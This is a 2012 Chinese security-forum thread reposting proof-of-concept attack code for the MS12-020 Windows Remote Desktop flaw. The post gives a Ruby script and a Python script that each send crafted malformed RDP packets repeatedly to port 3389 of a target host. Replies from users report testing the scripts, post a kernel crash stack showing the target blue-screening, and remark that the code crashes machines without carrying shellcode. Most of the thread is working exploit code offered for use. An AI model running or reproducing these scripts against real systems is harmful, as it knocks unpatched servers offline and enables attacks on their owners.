首页
社区
课程
招聘
[转帖]MS12-020 POC[附ruby及新py代码]
发表于: 2012-3-16 09:09 6400

[转帖]MS12-020 POC[附ruby及新py代码]

2012-3-16 09:09
6400
转帖原网址为 http://bbs.blackbap.org/thread-2419-1-1.html

附件暂时无法下载 有账户的同学麻烦转一个呗^_^

大家看看...具体情况我也在测试中.....

附代码:

---------ruby-----------

#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

require 'socket'

def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end

def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end

def make_x224(data)
  [ data.length ].pack('C') + data
end

def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end

host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)

pkts1 << make_tpkt(x224_1)

# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))

# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x04\x00\x00\x00\x22"+  # maxChannelIds
  "\x02\x04\x00\x00\x00\x0a"+  # maxUserIds
  "\x02\x04\x00\x00\x00\x00"+  # maxTokenIds
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
min_params = ""+
  "\x02\x04\x00\x00\x00\x01"+  # maxChannelIds       
  "\x02\x04\x00\x00\x00\x01"+  # maxUserIds          
  "\x02\x04\x00\x00\x00\x01"+  # maxTokenIds         
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities       
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput       
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight           
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds           
  "\x02\x02\xfc\x17"+          # maxUserIds              
  "\x02\x02\xff\xff"+          # maxTokenIds             
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities           
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput           
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight               
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion

userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)

mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  #"\x30" + [ target_params.length ].pack('C') + target_params +
  #"\x30" + [ min_params.length ].pack('C') + min_params +
  #"\x30" + [ max_params.length ].pack('C') + max_params +
  "\x30" + [ 0x19 ].pack('C') + target_params +
  "\x30" + [ 0x19 ].pack('C') + min_params +
  "\x30" + [ 0x1c ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata

#mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)

# send a special one?
pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")

# send more pkts! - based on poc
10.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}

pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")

pkts1 << make_tpkt(x224_2 + "\x21\x80")

bigpkt = pkts1.join('')

loop {
  sd.write(bigpkt)

  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")

  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}
sd.close
# BlackBap.Org

----------------------新py脚本----------------------------------------------------------

#ms12-020 "chinese shit" PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org

import socket
import sys

buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" 
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" 
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" 
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" 
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" 
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" 
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" 
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" 
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" 
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" 
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" 
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" 
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" 
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" 
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" 
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" 
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" 
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" 
buf+="\xc0"

buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80"  # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST,PORT))
        print "sending: %d bytes" % len(buf)
        s.send(buf)
        rec = s.recv(100)
        print "received: %d bytes" % len(rec)
        s.close()
# BlackBap.Org

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
额!这个……不解释。
2012-3-16 09:12
0
雪    币: 112
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
exe文件 115转的 测试中...... 不知真的假的......
上传的附件:
2012-3-16 09:24
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
4
py脚本测试了,不知道为什么要循环1000次啊1000次啊
感觉是恶作剧程序,虚拟机没看到任何效果
2012-3-16 09:38
0
雪    币: 112
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
exe 慎重测试 可能蓝屏......O(∩_∩)O~
2012-3-16 09:53
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
6
大致测试了下,rdpclient不是木马,哈哈
rdpclient host -v 会bsod,崩溃堆栈如下:

00 f81f1f1c 80875895 00000003 ebb2c174 00000000 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
01 f81f1f68 808766cd 00000003 ebb2c174 c0300eb8 nt!KiBugCheckDebugBreak+0x19 (FPO: [SEH])
02 f81f2300 80876ae0 00000050 ebb2c174 00000000 nt!KeBugCheck2+0x5d1 (FPO: [6,224,4])
03 f81f2320 808629ad 00000050 ebb2c174 00000000 nt!KeBugCheckEx+0x1b (FPO: [5,0,0])
04 f81f2370 8082648a 00000000 ebb2c174 00000000 nt!MmAccessFault+0x7af (FPO: [4,10,4])
05 f81f2370 f7d0b075 00000000 ebb2c174 00000000 nt!KiTrap0E+0xd8 (FPO: [0,0] TrapFrame @ f81f2388)
06 f81f2404 f7d0b1a6 e15e9008 e1b0d6f0 f81f242c RDPWD!SListRemove+0x5d (FPO: [3,0,0])
07 f81f2424 f7d0b263 e1b0d6f0 e15e9008 e15e9008 RDPWD!ChannelLeave+0x3c (FPO: [3,0,4])
08 f81f2454 f7d0b3b0 e1187280 e1b0d6f0 00000003 RDPWD!DetachUser+0x23 (FPO: [4,7,0])
09 f81f2478 f7d0b511 e1b0d6f0 00000000 00000003 RDPWD!DisconnectProvider+0x48 (FPO: [3,1,0])
0a f81f24c0 f7cecff6 00000002 f81f24f8 00000009 RDPWD!HandleDisconnectProviderUlt+0x5b (FPO: [2,10,0])
0b f81f24dc f7d0aba4 00000002 f81f24f8 e119b000 RDPWD!RecognizeMCSFrame+0x48 (FPO: [2,0,4])
0c f81f2504 f7cec06b e119b000 00000000 ffac3874 RDPWD!MCSIcaRawInputWorker+0x346 (FPO: [4,3,4])
0d f81f252c f9d7e194 e119b000 00000000 ffac37cc RDPWD!MCSIcaRawInput+0x65 (FPO: [4,1,4])
0e f81f2550 f93c6fcb 817ed6c4 00000000 ffac37cc termdd!IcaRawInput+0x58 (FPO: [4,0,0])
0f f81f2d90 f9d7d265 ffac3680 00000000 ffa748a8 TDTCP!TdInputThread+0x371 (FPO: [1,519,4])
10 f81f2dac 80905b5b ffada150 00000000 00000000 termdd!_IcaDriverThread+0x4d (FPO: [1,1,4])
11 f81f2ddc 808286ad f9d7d218 817e6080 00000000 nt!PspSystemThreadStartup+0x2e (FPO: [SEH])
12 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
2012-3-16 10:10
0
雪    币: 95
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
那个python脚本不带shellcode吧 貌似只是蓝屏
2012-3-16 10:24
0
雪    币: 112
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
所以把题目改成POC啦。。。呵呵
2012-3-16 10:46
0
雪    币: 112
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
pastebin 上py代码地址
http://pastebin.com/jzQxvnpj  
EXE即为楼上传的EXE
不知两个py哪个先
2012-3-16 10:54
0
游客
登录 | 注册 方可回帖
返回
//